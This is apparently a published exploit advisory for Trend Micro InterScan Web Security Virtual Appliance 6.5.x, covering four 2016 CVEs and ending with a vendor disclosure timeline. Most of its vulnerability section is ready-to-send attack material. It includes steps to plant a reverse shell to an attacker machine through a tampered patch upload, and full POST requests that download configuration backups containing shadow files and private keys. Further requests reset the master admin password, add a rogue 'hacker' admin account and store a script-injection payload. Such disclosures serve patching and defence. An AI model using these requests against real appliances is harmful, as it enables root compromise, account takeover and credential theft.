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# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities] # Date: [28/11/2016] # Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot # Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/] # Version: [Tested onIWSVA version 6.5-SP2_Build_Linux_1707 and prior versions in 6.5.x series. Older versions may also be affected] # Tested on: [IWSVA version 6.5-SP2_Build_Linux_1707] # CVE : [CVE-2016-9269, CVE-2016-9314, CVE-2016-9315, CVE-2016-9316] # Vendor Security Bulletin: https://success.trendmicro.com/solution/1116672 ================== #Product:- ================== Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection. ================== #Vulnerabilities:- ================== Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS) ======================== #Vulnerability Details:- ======================== #1. Remote Command Execution Vulnerability (CVE-2016-9269):- The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell. Proof of Concept:- a. Download the patch from here. b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell. c. Calculate the MD5 hash of 'stargate_patch.tgz' md5sum stargate_patch.tgz d. Update the 'MD5SUM.txt' with new hash. e. Listen on port#443 on you Kali machine. f. Upload the patch to the target server: http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload g. You should have a root shell now. #2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):- The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc. Exploitation:- A. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=save&uploadfile=&beFullyOrPartially=0 B. Send this POST request to download the backup file from server: POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=2&ImEx_success=1&pkg_name=%2Fvar%2Fiwss%2Fmigration%2Fexport%2FIWSVA6.5-SP2_Config.tar%0D%0A&backup_return= #3. Privilege Escalation Vulnerability (CVE-2016-9315):- A. Change Master Admin's password: i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=review&allaccount=admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=abc123&PASS2=abc123&description=Master+Administrator&role_select=0&roleid=0 B. Add a new administrator account 'hacker' i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser&role_select=1&roleid=1 #4. Stored Cross-Site-Scripting Vulnerability (CVE-2016-9316):- i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 292 CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser4"><script>alert(111)</script>&role_select=1&roleid=1 ii. The script executes when admin visits the ‘Login Accounts’ page. #Vulnerability Disclosure Timeline: 28/10/2016: First email to disclose the vulnerability to the Trend Micro incident response team 10/11/2016: Second email to ask for acknowledgment 15/11/2016Acknowledgment from the Trend Micro incident response team for the email reception and saying the vulnerability is under investigation 15/11/2016: CVE Mitre assigned CVE-2016-9269, CVE-2016-9314, CVE-2016-9315 and CVE-2016-9316 for these vulnerabilities. 24/11/2016: Trend Micro incident response team provided a patch for testing. 25/11/2016: Acknowlegdement sent to Trend Micro confirming the fix. 01/12/2016: Third email to ask for remediation status 02/12/2016: Trend Micro incident response team responded stating that the fix will be released by the end of December 2016. 21/12/2016: Fourth email to ask for remediation status 21/12/2016: Trend Micro released the patch for English version. 21/12/2016: Trend Micro incident response team responded stating that the patch for Japanese version will be released in February 2017. 14/02/2017: Trend Micro releases Security Advisory. Link: https://success.trendmicro.com/solution/1116672 |
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